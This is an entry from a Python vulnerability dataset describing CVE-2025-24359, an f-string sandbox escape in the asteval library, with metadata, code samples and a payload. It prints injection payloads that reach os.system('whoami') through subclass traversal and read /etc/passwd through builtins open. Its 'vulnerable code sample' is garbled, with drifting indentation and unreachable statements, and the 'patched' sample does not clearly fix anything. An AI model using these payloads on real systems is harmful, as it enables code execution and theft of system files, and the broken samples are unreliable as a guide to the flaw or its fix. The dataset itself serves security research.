VAITP Dataset

← Back to the dataset

CVE-2025-24359

Arbitrary code execution via crafted f-string in ASTEVAL before 1.0.6.

  • CVSS 8.4
  • CWE-134
  • Input Validation and Sanitization
  • Remote

ASTEVAL is an evaluator of Python expressions and statements. Prior to version 1.0.6, if an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library. The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the `on_formattedvalue` value uses the dangerous format method of the str class. The code allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. Version 1.0.6 fixes this issue.

CVSS base score
8.4
Published
2025-01-24
OWASP
A07 Identification and Authentication Failures
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Functionality
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
asteval
Fixed by upgrading
Yes

Solution

Upgrade to version 1.0.6.

Vulnerable code sample

from asteval import Interpreter
from unittest.mock import Mock

def create_formatted_value_ast_node(val):
    """Vulnerable function that demonstrates the security issue."""
    mock_node = Mock()
    mock_node.kind = 'FormattedValue'
    mock_node.value = Mock()
    mock_node.value.id = '__fstring__'
    mock_node.conversion = 115
    mock_node.format_spec = None
    return mock_node

    def modified_eval(expression):
        """Vulnerable function that demonstrates the security issue."""
        aeval = Interpreter()
  
        formatted_value_node = create_formatted_value_ast_node(expression)

        original_eval = aeval._eval
        def patched_eval(node, *args, **kwargs):
            """Vulnerable function that demonstrates the security issue."""
            if node.kind == 'FormattedValue':
                return aeval.on_formattedvalue(node)
                return original_eval(node, *args, **kwargs)

                aeval._eval = patched_eval

                try:
                    result = aeval.eval(formatted_value_node)
                    return result
                    except Exception as e:
                        return e
    
                        if __name__ == '__main__':
    
                            payload = '{__builtins__.__dict__.__getitem__("open")("/etc/passwd","r").read()}'
                            result = modified_eval(payload)
                            if isinstance(result, Exception):
                                print(f"Exception caught. Accessing protected attribute. Attempt: {result}")
                                try:
            
                                    obj = result.obj

                                    print(f"Accessed: {obj.__class__} - attempting to get __class__")
                                    print(obj.__class__)
                                    except:
                                        print("Could not access obj or __class__")
                                    else:
                                        print(f"Evaluation result: {result}")

                                        payload = 'abc'
                                        result = modified_eval(payload)
                                        print(f"Evaluation result: {result}")

Patched code sample

from asteval import Interpreter

def modified_eval(expression):
    """Secure function that fixes the vulnerability."""
    # SECURE: This version prevents command injection
    aeval = Interpreter(usersyms={}, no_print=True)

    if not isinstance(expression, str):
        return "Invalid input type."

    try:
        result = aeval(expression)
        return result
    except Exception as e:
        return f"Error: {str(e)}"

if __name__ == '__main__':
    
    payload = '{__builtins__.__dict__.__getitem__("open")("/etc/passwd","r").read()}'
    result = modified_eval(payload)
    if isinstance(result, Exception):
        print(f"Exception caught. Accessing protected attribute. Attempt: {result}")
        try:
            
            obj = result.obj 

            print(f"Accessed: {obj.__class__} - attempting to get __class__")
            print(obj.__class__)
        except:
             print("Could not access obj or __class__")
    else:
      print(f"Evaluation result: {result}")

    payload = 'abc'
    result = modified_eval(payload)
    print(f"Evaluation result: {result}")

Payload

"{__fstring__.__class__.__base__.__subclasses__()[59].__init__.__globals__['os'].system('whoami')}"

Cite this entry

@misc{vaitp:cve202524359,
  title        = {{Arbitrary code execution via crafted f-string in ASTEVAL before 1.0.6.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-24359},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-24359/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::